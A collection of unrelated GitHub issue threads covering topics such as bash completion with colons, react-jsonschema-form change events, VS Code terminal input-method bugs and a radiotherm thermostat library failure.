As a Lender I want be notified when a User wants borrow an item in order to stay up to date.
Dependencies
Depends on:

#30

UI Mockup

Context

#12

Acceptance Criteria

[ ] when lend request is created a new notification should appear
[ ] Notification should have a title text and a description text

@AlexanderUngefug and I discussed that this story will be implemented by BP-PBRH since it is currently blocking them from implementing #12


Add support for bash

WIP. Bash isn't always nice. In particular, the docs for complete...  get-path returning roots namespaced with a colon doesn't play nicely

Q. Completion goes awry when I try to complete on something that contains a colon.
A. This is actually a 'feature' of bash. bash recognises a colon as starting a new completion token, which is often what you want when completing something like a PATH variable:
export PATH=/bin:/sbin:/usr<Tab>

Without the special treatment of the colon, the above wouldn't work without programmable completion, so it has long been a feature of the shell.
Unfortunately, you don't want the colon to be treated as a special case when doing something like:
man File::B<Tab>

Here, the colons make bash think that it's completing a new token that begins with 'B'.
Unfortunately, there's no way to turn this off. The only thing you can do is escape the colons with a backslash.

Huh, the colon thing is kinda annoying, as it's relatively important to the functionality. Maybe it makes sense to either just take another separator character for bash (by adding a --bash option to the get-list and get-path subcommands), or - probably more elegantly - making the separator configurable entirely.

probably more elegantly - making the separator configurable entirely.

This is what I was thinking, environment variable, or config file option?

Went with a config file to avoid splitting configuration across multiple locations, open to changing.
The state of bash completion is... not great. Unfortunately, I think it's as good as is possible, but gp's approach of filtering by "includes" isn't well supported by completions. Bash expects to complete by the start of a string. I added manual filtering by includes for the completion, but given a list like this:
# pdm get-list
Desktop/typedoc-tests
GitHub/typedoc
GitHub/typedoc-plugin-not-exported
GitHub/typedoc-plugin-source-filter

Doing gp typedoc<tab><tab> will print out all results, but gp plugin<tab> will replace the command with gp GitHub/typedoc. So long as you expect completions to work based on the start of the string, it works great!

but gp plugin<tab> will replace the command with gp GitHub/typedoc.
How does that even work? The string isn't even anywhere in the name. This is definitely not desirable.

Maybe a limitation for bash needs to be that it can only search at the start. This would also necessarily include a way to add all results (additionally) without the namespace prefix to the list, otherwise the completion is probably useless.
I propose to add a --shell parameter to get-list which is called by every helper with the correct shell name (possibly even <shell>@<version>). The command can then determine the correct behavior based on that - so for example, to add the un-namespaced versions to the list for bash only. Unambiguous entries will still lead to the correct result, and ambiguous entries will result in showing the selection UI.

How does that even work? The string isn't even anywhere in the name. This is definitely not desirable.

Bash notices that all substrings including the completion start with GitHub/typedoc so it "helpfully" replaces the input with the common substring.
--shell seems reasonable.

Thank you very much for your hard work on this issue! 😄


Typing in the hyperlink input box sets focus to the main editor on keydown

I added this to my toolbar:

            <input class="span2" placeholder="URL" type="text" data-edit="createLink">
            <button class="btn" type="button">Add</button>

but whenever I open up the hyperlink create, click the input, and hit any key it targets the main editor and starts typing in there.

I have the same problem.  But after going through their example at - http://mindmup.github.io/bootstrap-wysiwyg/ and looking at the JavaScript source, added the following snippet to my code.
$('.dropdown-menu input').click(function() {return false;})
.change(function () {$(this).parent('.dropdown-menu').siblings('.dropdown-toggle').dropdown('toggle');})
.keydown('esc', function () {this.value='';$(this).change();});
This is being called in the initToolbarBootstrapBindings() function.
Tried on Chrome Version 41.0.2272.101 m

Thank you :)

I have the same problem. i added the whole of initToolbarBootstrapBindings into my code. now the dropdown stays open so that i can type into the input, but the selection is lost in the editor. can anybody help with this?

I am not sure why that is happening.  Can you please provide more details of your code / browser details?  Also, this has now moved to https://github.com/steveathon/bootstrap-wysiwyg.  Please try the new binaries under that repository.  There seem to be significant amount of changes / fixes done.


PropertyValueEditor - return converted value, not update reference value

While investigating https://github.com/umco/umbraco-stacked-content/issues/17, I found that we had been updating the property.Value reference, rather than returning the converted value.
I think the reason we did this was so that we could make a call to the base method to prepare the value correctly for the appropriate target - e.g. the database, editor, XML cache.
However investigating Umbraco core, it turns out that we don't need to do this - since InnerContent is dealing with string values, those base methods are ultimately calling .ToString(), (or in the case of the editor one, deserializing the JSON string that we've just serialized).
I've refactored the "ConvertDbTo" methods and tested locally, all working as expected - including the prevalue-based Dropdown list property-editor!
I've left more comments in the individual commits if you want to know more.

Awesome - thanks for the sanity @mattbrailsford!


dart2js does not properly handle final super field assignment

dart2js does not properly handle final super field assignment:
language/final_super_field_set_test fails

Fixed by https://codereview.chromium.org//1274073003


No onChange event triggered when changing value using javascript

Prerequisites

[x] I have read the documentation;
[x] In the case of a bug report, I understand that providing a SSCCE example is tremendously useful to the maintainers.

Description
In my code I use document.getElementById(aFormInputId).value = newvalue to update an input in a react-jsonschema-form. The new value comes from a different part of the application and rather than deconstructing the form id and updating that value in formData and then updating the form, this seemed simpler.
Settings the value works fine, but the form's onChange isn't triggered. If I trigger blur on the input afterwards, that event is called correctly but it doesn't bubble up to a change event on the form itself.
What is the preferred way to force an onChange event on a react-jsonschema-form?
Steps to Reproduce

call document.getElementById(aFormInputId).value = newvalue
see the value in the input change
call const event = document.getElementById(aFormInputId).dispatchEvent(new Event('blur', { bubbles: true }));
see the onBlur event get called as expected
see no onChange even being called

Expected behavior
When the value of an input changes problematically, the form's onChange event is also called
Actual behavior
The forms onChange event is not called and formData is not updated.
Version
1.0.3

I decided to try the other route and update my formData object. Updating that object and rerendering the form (via props) however also did not update the form (related: https://github.com/mozilla-services/react-jsonschema-form/issues/486 ) even though I have liveValidate. I got it to work by implementing a validate function that does nothing but return the errors.

because assignment value doesn't trigger an input event.
try
element = document.getElementById(aFormInputId)
element.value = newvalue
element.dispatchEvent(new Event('input', { bubbles: true }))

read more

Triggering an input event also doesn't bubble up to the onChange event of the form, unfortunately.

I'm also struggling to programmatically set the inputs of my form from outside the App and getting the react-jsonschema-form to recognize these changes. I've tried the suggestions here, by doing:
field.value = value;
field.dispatchEvent(new Event('input', { bubbles: true }));

But that still doesn't work and the form believes that there are errors even though the required fields do have a value.

Hey @KenEucker, I ended up adding an empty validate function to my form class:
validate = (formData, errors) => errors;
which helps in some cases, but not all. In the end I now keep my formdata on the parent react component, and when I need to change a value from an external source, i update the formdata manually (the npm package 'object-search` helps a lot here) as well as setting the value in the form. The latter then only takes care of showing visually to the user what is happening. When there are onChange events triggered from the form, i update the same formData event.
I hope that helps you on your way!

@kilian
I ended up using the solution you suggested, with a validate method that returns an empty array. I was worried that this would negate the form validations I wanted to keep, but it does not. I continue to see errors with my form if they do not pass the individual validation I set for them.
I would like a more elegant solution than having to store form data outside of the form and be able to programmatically set the form data, but this will work for now.

Closing this due to inactivity, but if you have any more questions, please feel free to comment.


Support for Ubuntu 20.xx, Ubuntu 22.xx, and Rocky9

@Andrey-mp status updates?

I think it can be closed now.
ubuntu 20.04 alreday worked well
ubuntu 22.04 finished for ansible and juju deployers also:

logs for successful job for juju http://nexus.gz1.opensdn.io:8082/jenkins_logs/nightly/pipeline_3/juju-os/
logs for successful job for ansible http://nexus.gz1.opensdn.io:8082/jenkins_logs/nightly/pipeline_3/ansible-os-yoga/

deployment code adopted for rocky9 and all things deployed correctly. but issues after deploy with kenrel driver which is handled in another task https://github.com/OpenSDN-io/community/issues/8#issuecomment-2102089662


Terminal cannot input anything from "input method software" 内置终端无法使用输入法输入任何字符

Type: Bug

Open VSCode Insider
ctrl shift ` to open the terminal window.
Without input method software, keyboard can input ASCII charaters .
Now ctrl shift to switch the Input method. For example, turn on the "SouGou Input method" which is a popular Chinese Pinyin input method software. Then nothing can be inputed into the terminal.

Observations and Guess:

any other input boxes in VSCode UI are normal and OK with input method. For example, I am typing in the report bug window's input box, I can type 输入法输入的文字。

just the terminal cannot work

this issues has been a long time. 2-3 months ago it suddenly appears when I update my VSCode insider

This is not duplicated with the old Github Issue 2 years ago #118092 #115814.  I search this bug on the internet and find that one. This bug behaves similar to that issue. We can reproduce it simply. However, the bug two years ago is finished and solved. I've been using VSCode and I know it works in the past 2 years. However, 2 years later it reappear.

VS Code version: Code - Insiders 1.77.0-insider (5c94e9f6dcf6ff2ccd84f298b47eb525fd328d63, 2023-03-13T22:12:52.723Z)
OS version: Windows_NT x64 10.0.22623
Modes:
Sandboxed: Yes

System Info

Item
Value

CPUs
AMD Ryzen 9 5900HX with Radeon Graphics         (16 x 3294)

GPU Status
2d_canvas: enabledcanvas_oop_rasterization: disabled_offdirect_rendering_display_compositor: disabled_off_okgpu_compositing: enabledmultiple_raster_threads: enabled_onopengl: enabled_onrasterization: enabledraw_draw: disabled_off_okskia_renderer: enabled_onvideo_decode: enabledvideo_encode: enabledvulkan: disabled_offwebgl: enabledwebgl2: enabledwebgpu: disabled_off

Load (avg)
undefined

Memory (System)
31.86GB (18.49GB free)

Process Argv
--crash-reporter-id 135a1468-6737-4ded-8158-9295063b87c0

Screen Reader
no

VM
31%

Extensions (46)

Extension
Author (truncated)
Version

vscode-languagetool
ada
3.8.0

vscode-languagetool-zh
ada
3.8.0

vscode-open
ale
0.3.0

vscode-jetbrains-icon-theme
cha
1.0.17

path-intellisense
chr
2.8.4

vscode-markdownlint
Dav
0.49.0

gitlens
eam
13.3.2

vscode-html-css
ecm
1.13.1

EditorConfig
Edi
0.16.4

kotlin-formatter
esa
0.0.6

code-runner
for
0.12.0

kotlin
fwc
0.2.26

vscode-chatgpt
gen
3.9.5

copilot
Git
1.77.9225

vscode-pull-request-github
Git
0.61.2023031409

intellij-idea-keybindings
k--
1.5.7

vscode-leetcode
Lee
0.18.1

Kotlin
mat
1.7.1

git-graph
mhu
1.30.0

vscode-language-pack-zh-hans
MS-
1.76.2023030809

remote-containers
ms-
0.283.0

remote-ssh
ms-
0.99.2023030315

remote-ssh-edit
ms-
0.84.0

remote-wsl
ms-
0.76.1

vscode-remote-extensionpack
ms-
0.24.0

anycode-kotlin
ms-
0.0.5

makefile-tools
ms-
0.6.0

powershell-preview
ms-
2023.3.0

remote-explorer
ms-
0.3.2023021509

remote-server
ms-
1.0.0

vsliveshare
ms-
1.0.5834

gradle-language
nac
0.2.3

java
red
1.16.2023031404

vscode-yaml
red
1.12.1

even-better-toml
tam
0.19.0

pdf
tom
1.2.2

intellicode-api-usage-examples
Vis
0.2.7

vscodeintellicode
Vis
1.2.30

vscode-java-debug
vsc
0.49.2023022723

vscode-java-dependency
vsc
0.21.2023030900

vscode-java-pack
vsc
0.25.2023031100

vscode-java-test
vsc
0.38.2023030203

vscode-maven
vsc
0.40.2023031403

vscode-wakatime
Wak
24.0.7

familiar-java-themes
zer
0.1.7

vscode-proto3
zxh
0.5.5

(2 theme extensions excluded)

A/B Experiments
vsliv695:30137379
vsins829:30139715
vsliv368:30146709
vsreu685:30147344
python383:30185418
vspor879:30202332
vspor708:30202333
vspor363:30204092
vslsvsres303:30308271
pythonvspyl392:30422396
pythontb:30258533
pythonptprofiler:30281269
vsdfh931cf:30280410
vshan820:30294714
pythondataviewer:30285072
vscod805cf:30301675
bridge0708:30335490
bridge0723:30353136
cmake_vspar411:30581797
vsaa593:30376534
pythonvs932:30404738
cppdebug:30492333
vscaat:30438846
vsclangdf:30492506
c4g48928:30535728
dsvsc012cf:30540253
pynewext54:30618038
pylantcb52:30590116
pyindex848:30611229
nodejswelcome1:30587009
pyind779:30611226
pythonsymbol12:30651887
a9j8j154:30646983
6233i204:30659907
pythonb192:30661256
funwalk2:30682974
pythonms35:30671666

Looks like this was originally fixed with
https://github.com/xtermjs/xterm.js/commit/7968b7ce7e5811e684dc02f3ac42511ca68cae2f
and can confirm that the fix was reverted at some point
https://github.com/microsoft/vscode/blob/6ecaf51d3afcb61c32ae2525c2eedbb61f6dea34/src/vs/workbench/contrib/terminal/browser/media/xterm.css#L65

it was reverted here
https://github.com/xtermjs/xterm.js/commit/00bdd2805a27c2bef8d2e4ac7d61c2cdefa2c17b

The code that fixed this originally is still in place.

If this is still happening it's likely an issue in xterm.js: https://github.com/xtermjs/xterm.js
I'll leave this open with help wanted but I doubt the vscode team will be able to help fix it. Here's a code pointer directly to where composition events are handled: https://github.com/xtermjs/xterm.js/blob/fb2c39cb5748e071e0a1ed49824590aafd45e65e/src/browser/input/CompositionHelper.ts
I also tested the standard pinyin/simplified Chinese IME on mac and it seems to work fine

On Windows 11：
版本	Windows 11 专业版
版本号	24H2
操作系统版本	26120.1252
体验	Windows Feature Experience Pack 1000.26100.11.0

With VSCode:
版本: 1.92.0-insider (system setup)
提交: 4d17e85cfd911fb6b116e08a4d7c37cd725a966a
日期: 2024-07-26T13:12:28.318Z
Electron: 30.1.2
ElectronBuildId: 9870757
Chromium: 124.0.6367.243
Node.js: 20.14.0
V8: <IP_ADDRESS>-electron.0
OS: Windows_NT x64 10.0.26120

The terminal still does not work with some popular Chinese IMEs.
Well, it works on:

Microsoft Pinyin (defaultly bunbled in Windows, but not so useful sometimes)
Wechat Pinyin
QQ Pinyin
Palm Input
iFlyIME
Rime (one of the most popular open source IME)
However, it doesn't work on:
Sougou Pinyin (one of the most popular IME among Chinese users)
Baidu Pinyin

It seems these two classes of IME implements differently, and VSCode Terminal fails to work with the second category.

Tracking upstream: https://github.com/xtermjs/xterm.js/issues/4486


Configure Azure Pipeline

This pipeline configuration builds the application and produces a build for the Release configuration.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: rhoffpauir sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


Where can I find a list of the DbContextOptions options available?

This issue tracker is for documentation
For product issues, use https://github.com/aspnet/EntityFramework/issues

@zanate4019 Can you be more specific what you mean by, "DbContextOptions options available"?

Sorry Arthur,  I don't remember what I was researching when I posted that 6 months ago ;)


IE11 compatibility

Graphql request was used in the project, and now I want to adapt to IE11. Currently, I see that Proxy is not supported in the IE11 console. After troubleshooting, I found that it is because our library uses Proxy. Are there any old versions that do not use Proxy or how can they be compatible

IE11 is not supported, neither by this project, nor by it's creator Microsoft. Tell your customer to upgrade.


Add a landing page and site navigation

There is no landing page on the Tilli docs website. If someone navigates to the website, it appears like the site is an empty page. It is difficult to discover content; there is no menu navigation or search feature. The website appears to be under development.
Some kind of introduction to Tilli's overall work and open source efforts should go here. This is where a first impression can be made for someone who is discovering Tilli and the open source parts for the first time. This is a good place to call out attention to the most strategic and most important components to encourage engagement around those components.

We faced some issues trying to update this landing page. Instead, we have created a landing on our website: https://www.tillikids.com/opensource and linked the same everywhere.

@Hannah31George I think there is a confusion, which we can clear up in today's scheduled call. But it is confusing to have two different sites with similar but different information. If you will not work on this site, then we need to close it down and migrate to the main website. But this also means we need to revisit UNICEF workplan requirements because this is noncompliant.
There is also information on the page linked above, like the project charter, which requires an account to view. But this content is also on the open source site.
It helps us at the Venture Fund to keep tabs on this issue. It would be great to keep it open until we resolve it.

We have updated the landing page of the project charter to avoid confusion.


network: add per-peer connected metrics

This adds per-peer connected metrics so that we can easily see which peers a validator is connected to.

/canary

:sunny: Canary successful

/land


Warning: Package REPLTreeViews does not have REPL in its dependencies

julia> using REPLTreeViews
[ Info: Precompiling REPLTreeViews [00000000-1111-2222-3333-444444444444]
┌ Warning: Package REPLTreeViews does not have REPL in its dependencies:
│ - If you have REPLTreeViews checked out for development and have
│   added REPL as a dependency but haven't updated your primary
│   environment's manifest file, try `Pkg.resolve()`.
│ - Otherwise you may need to report an issue with REPLTreeViews
└ Loading REPL into REPLTreeViews from project dependency, future warnings for REPLTreeViews are suppressed.

and how did you get that obviously non-random UUID!?

thanks for this wonderful package btw!  i've been wanting this functionality for years, but have never found time time to implement it myself


primitives: add unit tests and small refactor

This PR:

Provides unit tests for all methods in the primitive crate to secure implementations.
Provides some small refactorings at some places where speed or clarity can be improved.

Thanks for the PR but closing this as its been awhile and most of the checks are failing. I would be supportive of these changes though.


radiotherm fails silently

Radio Thermostat CT80 Rev B2 V1.09
> python
Python 2.7.6 (default, Jun 22 2015, 17:58:13)
[GCC 4.8.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import radiotherm
>>> tstat = radiotherm.get_thermostat()
>>> tstat.temp
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'NoneType' object has no attribute 'temp'
>>> tstat = radiotherm.get_thermostat('<IP_ADDRESS>')
>>> tstat.temp
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: 'NoneType' object has no attribute 'temp'
>>> str(tstat)
'None'
>>>^D

>curl http://<IP_ADDRESS>/tstat
{"temp":70.50,"tmode":3,"fmode":2,"override":0,"hold":1,"t_heat":72.00,"t_cool":77.00,"ttarget":1,"program_mode":1,"tstate":1,"fstate":1,"time":{"day":2,"hour":20,"minute":19},"t_type_post":0}

>~/radiotherm-master# ./run-tests.sh
...............................
----------------------------------------------------------------------
Ran 31 tests in 0.028s

OK
>pip search radiotherm
radiotherm                - client library for wifi thermostats sold by
                            radiothermostat.com
  INSTALLED: 1.2 (latest)

Is you have version 1.2 installed, the library will fail to query the thermostat since it doesn't understand the device (Radio Thermostat CT80 Rev B2 V1.09).  The support for the ct80 Rev B2 V1.09 is waiting in one of the pull requests to be merged to the library.

Steve,
Radiotherm should throw an exception if it can not determine the model.
I have a pull request that does not require an exact match for the model.
If there is no match it uses the base model (e.g. CT80). There is little to
no difference between the models within a class. I've created a fork where
this is implemented.
Jerry
On Wed, Jan 20, 2016 at 10:53 PM, Steve Bauer<EMAIL_ADDRESS>wrote:

Is you have version 1.2 installed, the library will fail to query the
thermostat since it doesn't understand the device (Radio Thermostat CT80
Rev B2 V1.09). The support for the ct80 Rev B2 V1.09 is waiting in one of
the pull requests to be merged to the library.
—
Reply to this email directly or view it on GitHub
https://github.com/mhrivnak/radiotherm/issues/14#issuecomment-173443835.

The current codebase did not appear to through an exception.  The non exact match sounds like a better solution though.

Yes, I forgot to add that.
On Thu, Jan 21, 2016 at 1:17 PM, Steve Bauer<EMAIL_ADDRESS>wrote:

The current codebase did not appear to through an exception. The non exact
match sounds like a better solution though.
—
Reply to this email directly or view it on GitHub
https://github.com/mhrivnak/radiotherm/issues/14#issuecomment-173661786.

@JerryWorkman could you try #38, based on your PR #37?

This should be resolved now. Closing issue, but please re-open if someone continues to experience this after testing the latest in master branch.